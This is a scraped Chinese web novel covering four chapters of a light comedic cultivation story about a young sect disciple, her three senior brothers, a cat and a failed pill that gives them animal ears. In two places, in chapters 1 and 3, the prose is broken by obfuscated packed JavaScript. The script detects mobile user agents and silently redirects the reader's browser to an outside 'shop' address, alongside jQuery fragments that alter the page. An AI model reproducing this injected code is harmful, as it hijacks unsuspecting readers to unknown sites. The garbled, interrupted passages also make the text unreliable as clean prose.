《我家住在浮云宗》 1. 当时明月在(1) 卯时刚过,浮云宗内门弟子居所“歇云处”就迎来了一位不速之客。只见这位红红绿绿的小客人扑棱着翅膀,晃晃悠悠地落在了云朵的窗框上。两只黑色的眼珠滴溜溜地转了几圈,然后伸长了脖子朝着屋内高声叫道: “起床啦!太阳晒屁股啦!” “起床啦!太阳晒屁股啦!” “起床啦!太阳晒——嘎!” 还不等它把重要的话喊完第三遍,就被一颗丢过来的茶杯砸中,仰面倒了下去。 “这只死鸟,每天早上扯着个破嗓子在那儿叫,吵死人了!连个懒觉都睡不成!”云朵烦躁地抓了抓头发,看着外面已经大亮的天色,无奈地撇了撇嘴,一扑腾跳下了床。 熟悉完毕,她推开房门,见二师兄正蹲在她的窗根下面,用手拨弄着躺在地上的鹦鹉。大师兄弯腰站在一旁,饶有兴趣地看着这一人一鸟。 “放心吧师兄,这死鸟耐活得很,死不了的。”云朵连目光都懒得施舍给让她睡不了懒觉的罪魁祸首,径直走到院子中央的石板桌旁,拎起青玉茶壶给自己倒了一杯茶,边喝边嘟囔道,“真是物似主人型,一样的招人讨厌!” 听见这话,原本还在观察死鸟微活现象的两个师兄齐刷刷转头。 “朵朵今天的起床气有点大呀?”大师兄云清怀直起了腰,脸上挂着她熟悉的笑容,问道,”是昨夜没睡好?“ 云朵灌完了一杯茶,感觉淤积在胸口的火气消散了不少,但依然很不爽,挎着小脸道:“睡得倒是挺好,但架不住每天被这么个破锣嗓子叫早呀!” 云清怀听完,笑意更深了,但又不好在气鼓鼓的师妹面前直接笑出声,只好一手握拳挡在嘴前,假装咳两声。 原本蹲在地上的二师兄夏南烛终于站起身,手里还捧着那只鹦鹉。他直接朝石桌走来,将它放在了桌上,然后扭头跟云朵说:“季来之当初把它弄来,也是看你每天起床困难。他本意是好的,就是实现方式有些……别致。” 云朵翻了个白眼:“那可真是太别致了。现在我起床倒是不困难了,但抑制住杀气很困难!” 云怀清:“你再说下去,我可得往你额头贴一张清心符了哦?” 云朵委屈巴巴地闭了嘴。 云怀清见她认怂了,伸出手摸了摸她的头,道:“朵朵,别生气了,等你三师兄回来,我劝他把这只小鸟放生,不要再天天过来闹你了,嗯?” 一听到大师兄要替她出头,云朵立马喜笑颜开,双手拉住云怀清的袖子晃悠,道:“就知道大师兄最疼我了!” “好啦,时候也不早了,你该去修炼了。”大师兄收回了摸头的手,脸上的笑意也收敛了不少,“虽然你一向无欲无求,但你不是想早日结丹,能够出门游历吗?出门在外,还是需要基础的剑术来自保的。” 云朵见大师兄开始说正事,也撒开了攥在手里的袖子,点头道:“我知道,我这就去练武场。” 云朵走远后,夏南烛叹了口气,道:“师兄,你是不是太宠她了?” 云怀清给自己倒了一杯茶,又倒满了另一杯一杯,递给夏南烛:“你知道的,她的过去太惨痛,所以我希望她至少在宗门里能过得快乐一些。” 夏南烛听完,神色复杂,但最终没有再说什么,只是望着院子大门出神。 浮云宗练武场,名为“摔云坪”,大概是起名的师祖某日见弟子们在练武场里磕磕碰碰,突然来了灵感,取了这么个既不威武也不霸气的名字。 摔云坪里面划分出了好几个场地,其中有一块属于内门弟子。 云朵来到摔云坪时,属于外门弟子的那几个场地里已经练得热火朝天了,只有她所在的场地里空空如也,一人包场。 练点什么好呢?基本功?实在是练恶心了。随机抓个幸运的门外弟子跟自己对练?又好像有点欺负人了。 思来想去,云朵决定先从挥剑开始。 弟子们在练习剑术时,通常都使用演武场提供的木剑,以防刀剑无眼,误伤他人。不过眼下内门弟子的场地里只有她一人,不用内力也不会有剑气打到隔壁场地的外门弟子,云朵索性从腰间拔出了本命剑。 云朵的本命剑,剑身修长纤巧,不知道在冶炼的时候加了些什么稀奇东西,剑身在某些角度下隐隐泛着粉光。当年大师兄将这把剑交给她时,云朵简直爱不释手。但小小的她没什么文化素养,又执着于自己给剑起名,最后只憋出来个“盈盈”。 “来吧盈盈,今天带你活动一下筋骨!” 说着,云朵双手握剑,向前挥砍。剑锋所过之处带起一道粉芒,剑身也随之发出轻轻的嗡鸣。 挥剑四百多次的时候,云朵的手臂已经有些酸了,但是想着挥到五百次再停,凑个整数,也就咬咬牙继续了。 眼看着即将达成五百次的目标,云朵突然觉得肩膀好像被什么东西碰了一下,挥剑的动作一顿。还没等她弄明白,手肘处随之而来的撞击就明明白白地告诉她,刚才那一下不是错觉。云朵只觉手臂一麻,本命剑就被一只手轻巧地劈了出去。剑身在空中旋转飞了两圈,掀起一阵风,然后被稳稳地接住。 一个少年爽朗的笑声被随风送入了她的耳中:“这么容易就被缴了械,你这剑练得不认真啊,师妹。” 这个声音!就是化成灰她都能认出来! 云朵额头上青筋暴起,咬牙切齿扭头喊道:“季来之!” 季来之一身张扬的红色衣衫,头发用同色的发带随意地束起,腰间别着他惯用的双剑,手上还拎着她的盈盈剑。 被“友好”问候之后,季来之眨了眨那双黑里透蓝的眼睛,调侃道:“哎呀,别这么凶啊,我回来之后可是连师兄们都没去见,就来找你了呀!” “然后就把我的剑夺走了?”云朵瞪着季来之,眼睛都快喷出火来,“快把剑还我!” “你乖乖叫我一声师兄我就还你,或者——”季来之扬起笑容,把盈盈剑在手上颠了两下,剑穗敲上剑身,发出清脆的叮当声,“有本事你就自己过来抢啊!” 话音刚落,云朵已经劈身过去夺剑。她一个飞扑,指尖几乎要勾到盈盈的剑穗,却被季来之侧身一让,轻飘飘地躲了过去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062161|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “师妹,别这么小气嘛,你这剑借我玩两天如何?”季来之手腕一翻,盈盈剑在他掌中转了个圈,剑刃斜斜映着日光,忽地泛起一线粉芒,像是在嘲笑她似的。 “谁要借你!”云朵见直接夺剑不成,身形一矮,猛地朝季来之腰间撞去。 “哎哟!”季来之夸张地叫了一声,却早有预料般腾身跃起,跃上树枝,低头冲她笑道,“来抢啊!” 云朵气得咬牙,顺手用内力从场边勾来一柄木剑,灵力一灌,那木剑上竟也隐隐透出三分剑气。 “看招!” 她足尖一点,木剑破空,剑尖直指季来之胸口。 季来之“啧”了一声,抬起盈盈剑一格,本以为能轻易震开,却发现那木剑上附的灵力古怪,竟黏着剑身一绕,险些将剑从他手上绞脱。 “咦?”他一怔,还没反应过来,云朵已经趁机欺近,左手成爪,直取他握剑的手腕。 “撒开你的手!” “偏不!” 季来之也打起劲儿了,两人瞬间缠斗在一处,一个抢,一个躲,剑光与木影在演武场上乱闪,惊得其他门外弟子停下了手中的武器,全都聚拢在内门弟子的演武场周围。 季来之边退边笑:“好多人呀,你要是在这么多人面前输给我,那你这人可就丢大了!诶,你不会半夜躲在被子里偷偷哭鼻子吧?” “呸!你才半夜哭鼻子!”云朵说完,一脚踹向季来之膝盖。 季来之侧身避过,刚要继续出招,就听见下方传来一声清喝: “季澜,云朵,都住手!” 二人连忙收招,低头看去。只见一身白衣的夏南烛冷着一张脸,眉头紧蹙。旁边站着云清怀,身穿青碧色的长衫,手里的折扇挡着嘴,眼睛里都是笑意。 “看着你们两个这么有活力,我感觉自己都年轻了十岁。” 季来之哭笑不得:“大师兄别闹,你总共也才比我大八岁。你要是年轻了十岁,岂不是我要管你叫师弟了?” 云怀清眨了眨眼,收起扇子抵着下巴,竟然真的开始认真思考了:“你这么一说,好像也不是不行?这样的话,南烛就是大师兄了,突然感觉宗门的未来更光明了!” 夏南烛扶住了隐隐作痛的额头:“大师兄……” 云怀清:“好啦,不开玩笑了。来之,你快把剑还给朵朵。” 大师兄发话了,季来之没再挣扎,只是在双手把盈盈剑递上时,嘴里依然犯欠道:“您的佩剑在下已完好奉上,请云朵朵师妹大人有大量,不要跟在下计较~” 云朵强忍住了翻白眼的冲动,伸手取回佩剑,归剑入鞘。 见这茬终于是翻篇了,云怀清问道:“你们两个过了这些招,动静可是不小,有没有受伤?” 二人摇头。 云怀清:“那就好。知道今天来之要回来,南烛可是亲自下厨做了一桌好菜,你们赶快收拾一下,看看这次你们二师兄的厨艺又进步了多少。” “好耶!” “哇!二师兄亲自下厨,早知道我回来之前就不吃饭了!” 2. 当时明月在(2) 秋去冬来。 夜半寒风扫过,睁眼便遇见了初雪。 没了季来之的鹦鹉来闹她后,云朵每天都能睡到自然醒。她揉着惺忪睡眼推开窗,扑面而来的寒意和雪香顿时将睡意驱散了。 三位师兄大概都已经开始各自忙碌了。 云清怀自不必说,自从他们的师尊闭关不出,宗门内的大小事务基本都是他这个内门大师兄在打理。事情多的时候,忙得简直脚不沾地。 夏南烛除了负责监督外门弟子们的日常行为,作为颇有天赋的丹修,他还要炼制一些辅佐修行和治疗伤病的丹药。 季来之则是自由惯了,正经的时候多是泡在演武场指导外门弟子武艺,偶尔鬼点子迸发,就会消失几天,回来的时候不是带了一身稀奇的小物件,就是带了一身伤。 云朵作为最小的内门弟子,没有宗门杂务缠身,修为也不足以下山历练,只得每天在闷宗里修炼。 云朵一路踩着雪,蹦蹦跳跳地往演武场去。 走过一个拐角时,她的目光被墙根的一个雪团子吸引住了。她屏息挪过去,伸出手指戳了一下那团白色。那小东西抖了一下,然后颤巍巍地探出了头,露出了圆溜溜的眼睛和两只尖尖的小耳朵。 “呀!居然是只狸奴!”云朵的眼睛顿时亮了。她跟外门弟子们聊天时,好几个弟子都曾提到家里都养了狸奴。每次他们回家探望,毛茸茸的小东西就会围着主人打转,粘人一些的狸奴还会主动窝在主人的怀里,任人搓扁揉圆。云朵听着,心里羡慕极了,梦想着哪天自己也能有一只。 这个梦想在今天实现了。 云朵屏住呼吸,小心翼翼地靠近。小狸奴大概是冷的,只哆哆嗦嗦地看着她,没有逃。云朵伸手把它揽到了怀里,拍掉了它身上粘的雪。小东西大概是冷得狠了,努力往她怀里缩。 “可怜的小家伙,大冷天呆在这里,你是没有家吗?”云朵伸手轻柔地抚摸了一下小狸奴的头,小家伙似是感受到了善意,弱弱地喵了一声。 “抱歉呀,小家伙。我不懂你的意思,就默认你同意我的说法啦。这里是浮云宗,我的家,以后也是你的家啦。” ----------------- 结束了上午的练习,云朵抱着她的新伙伴,哼着歌回到了歇云处。 “这么高兴,这是发生了什么好事呀?”头顶传来声音。 云朵抬头一看,只见季来之坐在房顶上,他一条腿曲着,另一条腿垂在半空晃荡,逆着光朝她笑。 云朵把狸奴从怀里捞出来,两只手托着,举高给他看:“你看,我在去演练场的路上捡到了这个小家伙,可爱吧!” 季来之却见到鬼了一样,直接跳了起来:“你你你你你你——!你快把这玩意拿走!” 他的反应吓了云朵一跳:“你干嘛啊?什么叫‘这玩意’?它不可爱吗??” 季来之如临大敌:“不可爱!一点都不可爱!你看它长得牙尖爪利的,还总是瞪着眼,怎么看都很可怕好吧!!” 云朵的头上冒出了一串问号,她沉默半晌,这串问号突然变成了闪着金光的叹号。她坏笑道:“你不会是怕狸奴吧?”说着,她还把手里的白团子往前递了递。 “怕不是应该的吗!我就没见过比这玩意更可怕的生物了!” 云朵眯起眼睛,对狸奴低声说:“小家伙,你看屋顶上的那个坏人,他一口一个‘这玩意’,一点都不尊重你!我们一定要让他认识到错误!”说完,她把狸奴往季来之的方向轻轻一抛,“去吧,让他见识一下你的厉害!” 小白团子“喵呜”一声,借着云朵的力,向季来之扑过去。 “啊啊啊啊——!你别过来!!”季来之上窜下跳地躲避,但那狸奴就像真的领悟了云朵的意思一样,一直紧紧跟着他,任凭他怎么跑都甩不掉。 云朵在下面看着,已经笑弯了腰。 “云朵!你这找了外援,属于犯规行为!你是不是平时打不过我,心怀怨恨,所以在这蓄意报复!” 云朵好不容易止住了笑,一脸无辜道:“哎呀三师兄,你怎么能这么想我?我这是看它可爱,所以想跟你分享呀!” 季来之抓狂:“我信你个鬼!你以为就你有外援,我没有?我这就去找外援收拾它!”说罢,他双脚在屋顶上一蹬,超远处飞掠过去。 云朵看了看,那是丹药房的方向。 ----------------- 丹药房内,白烟袅袅,药香氤氲。 夏南烛一袭白衫,袖口挽至肘间,端坐于丹炉前。他左手执铜箸,右手托玉匣,凝神注视着面前的丹炉。不一会儿,炉烟有改变,正是添药的时机,他掀开炉盖,置于一边,用铜箸缓慢地将玉匣中的药粉拨到炉内。 “二师兄——!救命呀——!有妖怪啊啊啊啊啊!!”一声凄厉的尖叫打破了丹药房的宁静。 夏南烛手一抖,一大片药粉扑簌簌地落进了丹炉。 夏南烛:“……” 他叹了口气,放下手中的工具,冷着一张脸回头。只见一道红色残影左闪右闪地进了门,然后一个漂移躲到了他身后。 夏南烛觉得额角的青筋在跳,扭头问道:“季澜,你又在闹什么?” 季来之蹲在地上,把自己缩成了小小的一团。夏南烛话音刚落,就见他抬起头,泪眼汪汪,颤颤巍巍地伸手指着门口:“夏师兄!南烛师兄!天底下最最最好的二师兄!快快快!快帮我拦住那个东西!” “?”夏南烛又转头看向丹药房门口。只见一个小小的白色影子“倏”地窜了进来,停在了他跟前。 待夏南烛看清那个小东西之后,不禁无语:“……狸奴?” “啊啊啊啊啊啊啊啊——!师兄救我!快把这个家伙赶出去啊!!”身后又响起了季来之的惨叫。 小家伙发现了目标,身体伏低,瞳仁缩成了一条线,随时准备扑过去。 夏南烛见势不好,直接俯身用双手把住狸奴,将它举了起来。 季来之:“二二二师兄——?” 夏南烛:“没事了。” 季来之犹豫了一下,缓缓站起身,见那狸奴虽然被夏南烛制住了动作,双眼依然直勾勾地盯着他,又觉得腿有些发软:“真、真的没事了?他不会突然蹿过来挠我吧?” 夏南烛:“我不会让他逃出来的。” 他换了个姿势,把狸奴抱在了怀里,觉得向抱着一团刚晒暖的云。小家伙细密的绒毛在光下泛着一层金澄澄的暖光,摸上去却像昂贵的绸缎一般丝滑。狸奴大概 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“没有没有。”云朵连忙摆手否认,“只是本以为这么可爱的小家伙,会有一个可爱的名字,比如雪团这种。” 夏南烛道:“那以后你叫它雪团,我叫它白芍,如何?” 云朵:“啊?原来是这样解决的吗?” 夏南烛又低头对白芍道:“你觉得如何?” 白芍欢快地“喵”了一声。 “看来它同意了。” 季来之见这两人一猫飞快地达成了一致,急忙道:“不是,等等!你们怎么连名字都给它取好了?你们不会真的要养它吧??你们打算把它养在哪里?歇云处???” 云朵挑眉笑道:“没错!现在可是二对一,我们人多,你得少数服从多数!” 季来之:“我作为歇云处的主人之一,难道没有一票否决权吗?” 云朵翻了个白眼:“不就养个宠物吗?还一票否决权,至于吗——” 还没等云朵回怼完,夏南烛就轻咳一声,打断了她:“云朵,来之因为某些原因,非常怕狸奴,刚才白芍也确实对他摆出了攻击姿态,养在歇云处恐怕不妥。不如将它养在焦香轩的后院,它还能自己找些剩饭剩菜果腹。” 云朵睁大了眼睛,问季来之:“什么?!雪团还真要攻击你啊?你不会是逃跑的路上惹它了吧?” 季来之欲哭无泪:“天地良心啊!我逃还来不及,哪儿还敢惹这位祖宗啊!!” 云朵半信半疑,但还是松口道:“那就按照二师兄说的,把它养在焦香轩吧。” “真的?我没听错吧?”季来之惊讶道:“你这是一夜之间懂事了?居然会体谅我了?” 云朵头上冒出一个十字,转头对夏南烛道:”二师兄,要不咱们还是把雪团养在歇云处吧!“ “别别别!好师妹!天底下最最善解人意的云朵大小姐!你行行好,我是真的怕它啊!!”季来之的脸上已经流下了宽粉泪。 “好吧,看在你诚心求我的份上,就养在焦香轩吧。” 夏南烛站在一旁,看着吵吵闹闹的师弟师妹,嘴角勾起一个浅浅的弧度。当他回身看到丹炉时,这抹弧度立刻消失了。 所以,受伤的只有这炉丹药了? 3. 当时明月在(3) 浮云宗,醒梦堂。 由于浮云宗本身地处偏僻,离仙门百家距离很远,因此宗门中人丁本就凋零。再加上深受开山宗师的影响,从上到下都主打一个随性,宗内有资历的长老们,闭关的闭关,云游的云游,竟然都没给弟子们剩下一个传授课业的长老。云怀清只好发动人脉,去请在附近城镇教书的先生或是其他宗门的仙长来代课。 虽然修士最终还是要以修为论高低,但要是肚子里一点墨水都没有,多少也给宗门丢人啊。 但外面来的先生基本都有其他优先的工作,因此也不是每天都能来浮云宗讲课。正好今天一个在附近村子里教书的先生有空,就来醒梦堂给他们讲四书五经。 从外面请来的先生正在慷慨激昂地讲着大道理,下面的弟子听得昏昏欲睡,甚至有些已经开始作小鸡啄米状,频频点头。教书先生的目光扫过堂下无精打采的弟子们,突然手执醒木,往讲台上“啪”地一拍。清脆的声音吓跑了一众弟子的瞌睡虫,将他们从美梦中强行唤醒,倒也跟醒梦堂的名字呼应了起来。 云朵虽然没有去会周公,但也觉得这课程内容无聊得很。她的视线虽跟着先生的身影来回移动,但思绪早就飞出了窗外。 雪团来了已经有一段时间了,经过这些日子,已经比原先大了一圈,叫声也比之前有力了。 大师兄不知道又在忙什么呢?是在聚散堂会客,还是又被宗门杂务缠住了? 二师兄的话,肯定是在丹药房研究新药方呢吧。虽然浮云宗人不多,但日常所用丹药都由二师兄负责,也是不小的负担。 至于季来之……肯定又在哪儿招猫斗狗呢,一天天也没个正型,要是有大师兄二师兄一半的靠谱多好! 云朵还在出神,突然觉得右侧太阳穴被什么东西砸了一下。她低头,看见桌上有一个纸团,还因为惯性滚了两圈。 她从桌上捡起纸团,向右看去,恰好捕捉到了从窗口闪过的红色衣角。 ……季来之,真是说曹操曹操到啊! 云朵抬头看了一眼,教书先生还沉浸在自己的教学中,没有往她这边看。她轻轻地展开纸团,只见上面龙飞凤舞地写了一句话:“你上的这是戏剧课吗” 云朵愣了几秒,才反应过来季来之是在嘲讽这个教书先生讲课无聊还抑扬顿挫的。嗯,虽然在背后讲别人坏话不对,但讲坏话的是季来之,关她云朵什么事! 她将纸条叠起来,收到了袖口里,继续听这堂无聊的课。 ----------------- “今天就先学到这儿,你们回去一定要好好复习,这样才能更好地掌握这堂课的内容……“ 教书先生还在用废话拖堂,云朵已经收拾好东西。等到先生说了“下课”,她便第一个冲出了醒梦堂。 “我回来啦——” 刚一冲进歇云处,云朵就见云怀清和季来之面对面坐在石桌两端,面色凝重。 云朵回屋的脚步停住了,小心翼翼地问道:“大师兄,你们这是怎么了?出什么事情了吗?” 云怀清犹豫道:“是朵朵回来了呀,上了一天课,累了吧。累的话就先回屋休息?我们这边,嗯……有点事情。” 说罢,他的眼神飘向了夏南烛所住屋子的方向。 “是二师兄有事?他不会是把丹药房炸了吧?” 云怀清忙摆手:“没有没有,倒不是这么严重的事情。” 云朵疑惑道:“可我看你们两个的表情,像是遇到了什么很令人头疼的事。” “是有点头疼……”云怀清扶住了额头,发愁应该怎么说。 “大师兄,还是我来说吧。”季来之见云怀清实在发愁,接过了话头,转头对云朵道,“简单来说,就是二师兄改良了一下‘焕颜丹’的配方。你也知道二师兄的风格,每次改良配方,炼出的第一颗丹药他都要自己试药。结果这次的配方出了点岔子……“ 云朵惊道:“二师兄难道中毒了?!” 季来之:“没有这么严重啦,就是他长出了一些动物的特征。” 云朵:“啊??!!!!” 季来之跳起来捂住她的嘴:“嘘!小声点啊!二师兄为这事郁闷得都不出屋了,他之前还跟我们说别告诉你……” 夏南烛的屋门“砰”地一声打开了,他黑着一张脸站在门后,道:“我都听见了。” 季来之双手抱头蹲下,惨叫道:“吾命休矣——!” 夏南烛没理他,走出了屋门。刚刚他站在屋里,光线昏暗,云朵看不太清。他出来后,才看到他头上长了一对黑色的尖耳朵,正因为主人心情欠佳而耷拉着。 云朵问道:“二师兄,你这是长出了狸奴的耳朵?” 夏南烛一顿,答道:“是。” 云朵眼睛亮了起来:“好可爱!这样你跟雪团真成一家人了!” 夏南烛轻轻叹了口气:“但这幅样子,让我如何出门见人?” 云朵:“没有解药吗?” 夏南烛摇头,两只猫耳朵也跟着轻轻摇晃:“因为是新调的药方,我尚未研究过对应的解药。” 云朵又问:“如果不管它的话,大概多久才能恢复正常呢?” 夏南烛思索了一下,道:“应该跟焕颜丹的差不多,大约一周。” 云怀清举手:“我有个提议。” 云朵学着教书先生的做派,左手背在身后,右手虚握成拳,放在嘴边咳了一声,道:“云同学,请讲。” 云怀清笑眯眯地看了她一眼,也清了清嗓子,拿捏起了乖学生做派:“当罕见的事物数量足够多时,大家便会习以为常。因此,弟子认为我们可以一起服下这新型焕颜丹,这样一来,南烛就不会是唯一一个有动物特征的人,自然也不会不好意思出门了。“ 季来之一听,来了精神:“这个不错!我也好奇我吃了之后会长出什么耳朵呢。” 云朵道:“二师兄,你吃了这个丹药,有没有觉得身体哪里不舒服?” 夏南烛想了想,否认道:“除了多出了这对耳朵,没有任何不适。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062163|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云朵开心道:“那我也同意大师兄的提议!” 夏南烛睁大了眼睛,眼中的光闪了闪:“你们……” 季来之推着夏南烛的肩膀,往他屋里走:“别你们我们的了,二师兄你不会不舍得你的丹药吧?这种好东西当然要拿出来一起分享了!” 夏南烛只好又取来三枚丹药,分给他们一人一颗。三人拿到手之后吞了,然后围坐在石桌边,等待丹药起效。 云朵觉得头上突然很痒,伸手去挠,却摸到了一条毛茸茸的东西。她惊道:“呀!我这是长出了个什么?” 另外三人齐齐转头看她。云怀清道:“是兔子耳朵,颜色跟你的佩剑近似,很适合你哦。” 季来之蹭过来,道:“来,师妹,给我摸摸你的耳朵呗?” 云朵嫌弃道:“去去去,你肯定不是单纯摸耳朵,搞不好还要像拎兔子一样,抓着耳朵把我拎起来!” 季来之略感遗憾道:“哎呀,被看穿了。” 云朵赏给他一个大大的白眼。 第二个长出耳朵的是云怀清,不过他长得是两只雪白的狐狸耳朵。 云朵咯咯笑道:“没想到大师兄竟然是只雪狐。” 季来之的目光在他们三人间不断游走,又伸手摸了摸自己的头:“奇怪,我为什么没反应啊?这丹药对我不起作用吗?” 云朵道:“怎么能这样,我还等着看你的笑话呢!” 季来之回敬了她一个白眼。 “等等。”一直安静地在旁边看着的夏南烛突然出声,“来之,你脖子上的是什么?” “啊?脖子上?”季来之用手去摸脖子,然后他的动作就僵住了。 “怎么了?你脖子上长东西了?”云朵好奇地凑过去看,“这是……鳞片?你长了鱼的鳞片。” 季来之一脸不可置信:“啊……怎么会……” 云朵打趣道:“怪不得你那么怕狸奴呢!鱼怕被吃掉,很合理啊。” 夏南烛朝季来之投去了羡慕的眼神:“你的这个特征不明显,挺好的。” 云怀清拍了拍夏南烛的肩膀:“可惜呀,没办法互换。” 夏南烛问云怀清:“我们还好,师兄你经常需要会客,这样不会不方便吗?” 云怀清勾起嘴角,露出一个狡黠的笑容:“那我正好可以称病,让客人改日再来嘛。” 云朵:“天啊,大师兄居然也学会偷懒了!这个世界是怎么了!” 云怀清:“既然我长了狐狸耳朵,那狡猾一点也没什么不对的吧?” 季来之垂头丧气道:“我这两天要绕着焦香轩走,大师兄,二师兄,你们要帮我带饭啊!” 云朵问道:“你为什么不让我帮你带饭啊?” 季来之睨了她一眼:“我怕你下毒。” “季!来!之!” …… 就这样,歇云处变成了动物园,当然,限时一周。 一周后,恢复正常的夏南烛回到丹药房,把那一炉改良失败的焕颜丹全都销毁了。 4. 当时明月在(4) 腊月二十三,小年刚过,浮云宗上下已经有了几分年味。歇云处的屋檐下挂起了红灯笼,廊柱上缠着红绸,连平日里冷清的石阶也被扫得干干净净。云朵抱着新得的兔儿糕,蹦蹦跳跳地穿过庭院,远远就瞧见云怀清和季来之站在院中的石桌旁,正折腾着什么。 “大师兄!季来之!你们在做什么呀?”她小跑过去,伸着脖子往桌上看去,只见季来之一手执笔,正在一张洒金红纸上写写画画。而云怀清则站在稍远的地方,手里捧着一叠洒金红纸,唇角含笑。 “我说师妹啊,为什么你叫大师兄是大师兄,叫我就不是三师兄了?”季来之一脸愤愤地抬头,手执毛笔朝她指指点点。 “哎哎哎!你别把墨汁甩我脸上!”云朵嫌弃,云朵一跳三尺远。 “大师兄,你看看她!”季来之又转头向云怀清求安慰。 云怀清笑道:“朵朵,我们在贴福字呀。”说罢,他扬了扬手里攥着的一副歪歪扭扭的“福”字,上面的墨汁还未全干,“可惜来之今天的手感不太行,写得不尽如人意。” 云朵凑近一看,果然,那“福”字最后一笔力透纸背,像条尾巴似的翘得老高,旁边还溅了几滴墨点。她憋着笑,指着那字道:“三师兄,这福字……贴门上真的不会把福气都气跑吗?” “嘿!小丫头片子,皮痒了是吧?”季来之作势要敲她脑袋,却被云怀清轻轻一扇子敲在手背上。 “来之,别逗她。”云怀清温温和和地笑着,眼底却闪过一丝狡黠的光,“朵朵,你来试试?” 云朵眼睛一亮,立刻从大师兄手里抢过一张红纸,拍拍胸脯道:“这有什么难的!我写得肯定比季来之好看!” 季来之不服气地挑眉:“哟?那行啊,你写一个我瞧瞧,长长见识。” 云朵撸起袖子,煞有介事地接过毛笔,蘸饱了墨,却在下笔时犹豫了。 她平日里练剑可以挥洒自如,可这写字嘛……她回忆了一眼大师兄的字,又瞄了瞄三师兄那惨不忍睹的“狗爬体”,最后咬咬牙,大笔一挥! “唰唰唰——” 片刻后,一张“福”字被她郑重其事地举起来,献宝似的递到两人面前。 云怀清低头一看,先是愣了一下,随即忍俊不禁地低笑出声。季来之凑过来,瞪大眼睛瞅了半晌,突然“噗嗤”一声,直接笑倒在旁边的石凳上:“哈哈哈……师妹,你这写得还不如我呢!你这最后一捺咋还带钩的呢?” 云朵涨红了脸,一把抢回那张纸,气呼呼地瞪他:“才不是!我这是……我这是艺术!你懂不懂欣赏啊!” 云怀清摇着扇子,笑得温和:“是是是,朵朵的艺术,我们凡夫俗子欣赏不来。” 季来之笑得直拍大腿:“大师兄,你别惯着她!这要是贴门上,怕不是要把福气吓跑了!” 云朵气鼓鼓地跺脚,正要反驳,忽然灵机一动,眼睛滴溜溜一转:“哼!那你们写一个更好的给我看看呀!” 季来之立刻挺直腰板,拍着胸脯道:“这有何难!”说着,他一把夺过毛笔,蘸墨挥毫,结果手一抖,墨汁直接甩到了云怀清的袖口上。 “哎!”云怀清轻呼一声,无奈地摇头,“来之,你小心些。” 季来之尴尬地讪笑:“失误失误!” 云朵捂嘴偷笑,趁机夺过毛笔,得意洋洋地晃了晃:“还是我来吧!” 这一次,她学聪明了,先在草稿纸上描了几笔,确认无误后才小心翼翼地写在红纸上。虽然笔法依旧稚嫩,但至少……勉强能看出是个“福”字了。 云怀清接过她递来的纸,微微一笑:“嗯,这次不错。” 季来之撇嘴:“切,也就一般般吧。” 云朵瞪他:“比你的强就行!” 三人笑闹间,云怀清已经拿着浆糊和刷子,带着他们走到院门边。他站在台阶上,将红纸仔细对齐,轻轻刷上浆糊,然后小心翼翼地贴正。 “大师兄,我来帮你!”云朵立刻蹦过去,踮起脚尖帮忙按住纸角。 季来之则在不远处瞎指挥:“左边一点!不对,右边!哎哟,你俩能不能配合一下啊!” 云怀清无奈地摇头,却依旧温和地笑着:“来之,你要指挥就好好指挥,别添乱。” 季来之瘪了瘪嘴,乖乖闭嘴,只是时不时探头瞅一眼。 终于,第一张“福”字贴好了,红艳艳的,端端正正。云朵退后两步,歪着头瞅了瞅,满意地点点头:“嗯!好看!” 云怀清又拿起第二张,这次是云朵主动请缨:“大师兄,这张我来贴!” “好。”云怀清将刷子和浆糊递给她,含笑看着她往福字背面刷浆糊。 季来之倚在一旁的大树上,看着云朵笨拙却又认真地贴着福字,忽然觉得过年这件事,似乎也没那么无聊了。 他摸了摸口袋里的糖,忽然想起什么,转头对云怀清笑道:“大师兄,今年的压岁钱你准备好了吗?” 云怀清挑眉:“来之,你何时也讲究起这个了?” 季来之理直气壮:“我不管!我也要!” 云朵立刻竖起耳朵:“对对对!我也要!” 云怀清失笑,摇着扇子道:“好好好,都有,都有。” 云朵道:“可惜二师兄回家过年了,我少了一份压岁钱!” 季来之道:“你不说我都忘了,这不得让二师兄回来补给我们?” 云怀清扶额:“你们两个这小算盘打得,南烛怕是坐在家里都听到了。” 大树下,红纸映着白雪,三人的笑声在风里飘得很远。 ----------------- 除夕夜。 平日里清净的宗门内张灯结彩,洋溢着浓浓的年味。 三人原本从歇云处一同出发,但云朵和季来之实在是按捺不住饭菜的诱惑,从半路就开始加速,最后成功先云怀清一步到达。 他们二人来到焦香轩,只见平日里弟子们用膳的小桌都被撤走了,换成了一张长长的大桌,桌上摆满了各式各样的菜肴,香气四溢。 “哇!好丰盛啊!”云朵小跑过去。 她刚跑到桌边,就被一股浓郁的香气勾住了鼻子,她深吸一口气,眼睛亮晶晶地在桌上巡视了一圈,惊叹道:“红烧肉!还有清蒸鲈鱼!哇,这排骨看着也好香!”说着就要伸手去拿筷子。 季来之一把按住她的手,笑嘻嘻地说:“小馋猫,急什么?大师兄还没到呢。”他今天难得脱下那身扎眼的红衣,换了一件暗红色的锦袍,袖口绣着金线云纹,整个人看起来比平日里多了几分喜庆,可身上那股调皮欠揍的劲儿却半分没减。 